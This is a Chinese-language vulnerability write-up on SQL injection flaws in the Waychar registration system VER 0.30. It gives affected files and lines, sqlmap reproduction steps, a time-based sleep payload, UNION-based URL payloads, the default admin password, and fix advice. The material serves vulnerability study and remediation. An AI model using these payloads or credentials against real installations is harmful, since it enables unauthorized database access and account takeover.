waychar报名系统VER 0.30 SQL注入复现
字数 1134 2025-08-18 17:33:25
Waychar报名系统VER 0.30 SQL注入漏洞分析与复现指南
1. 环境准备
- 源码下载:http://down.chinaz.com/soft/39094.htm
- 环境搭建:使用phpstudy搭建测试环境
2. 漏洞概述
Waychar报名系统VER 0.30存在多处SQL注入漏洞,主要原因是未对用户输入参数进行有效过滤就直接拼接SQL语句。
3. 漏洞详情与复现
3.1 前台登录处SQL注入
复现步骤:
- 使用数据库已有账号密码登录
- 抓取登录请求数据包并保存为txt文件
- 使用sqlmap进行注入测试
漏洞分析:
- 文件位置:
controller/ajax.php24-58行 - 漏洞原因:
username参数未经任何过滤直接拼接到SQL语句中
3.2 前台找回密码处SQL注入
复现步骤:
- 输入数据库中存在的手机号码
- 截获数据包并保存为txt文件
- 使用sqlmap进行注入测试
漏洞分析:
- 文件位置:
controller/ajax.php12-23行 - 漏洞原因:
mobi参数未经任何过滤直接赋值给$mobi变量并拼接到SQL语句中
3.3 前台重置密码处延时注入
复现Payload:
12345678'and(select*from(select+sleep(5))a/**/union/**/select+1)='
漏洞分析:
- 文件位置:
controller/ajax.php100-113行 - 漏洞原因:
password_new参数未经任何过滤直接赋值给$password_o变量 - 受影响SQL语句:
update w_user set password_o = '$password_o', password = '$password' where id = " . $_COOKIE['id']
3.4 活动信息处SQL注入
复现步骤:
- 测试字段数:
/index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7/index.php?c=race&action=race_msg&id=57 order by 1,2,3,4,5,6,7,8 - 获取当前用户:
/index.php?c=race&action=race_msg&id=57 union select 1,2,3,4,5,user(),7
漏洞分析:
- 文件位置:
controller/ajax.php136-142行 - 漏洞原因:
id参数未经任何过滤直接使用
3.5 后台会员管理搜索处SQL注入
复现步骤:
- 使用默认密码
admin123登录后台 - 在会员管理页面输入任意号码并抓包
- 将数据包保存为txt文件后使用sqlmap测试
漏洞分析:
- 文件位置:
controller/user.php12-24行 - 漏洞原因:
mobi参数未经任何过滤直接拼接到SQL语句中
4. 漏洞利用工具
推荐使用sqlmap进行自动化测试:
sqlmap -r request.txt --batch
5. 修复建议
- 对所有用户输入参数进行严格过滤和转义
- 使用预处理语句(PDO)替代直接SQL拼接
- 对数字型参数进行强制类型转换
- 对字符串参数使用适当的转义函数
- 实施最小权限原则,限制数据库用户权限
6. 总结
该系统中存在多处SQL注入漏洞,主要原因是缺乏对用户输入的有效过滤。这些漏洞分布在系统的多个功能模块中,包括前台登录、密码找回、密码重置、活动信息展示以及后台会员管理等功能。建议开发者全面审查代码,对所有用户输入进行严格验证和过滤。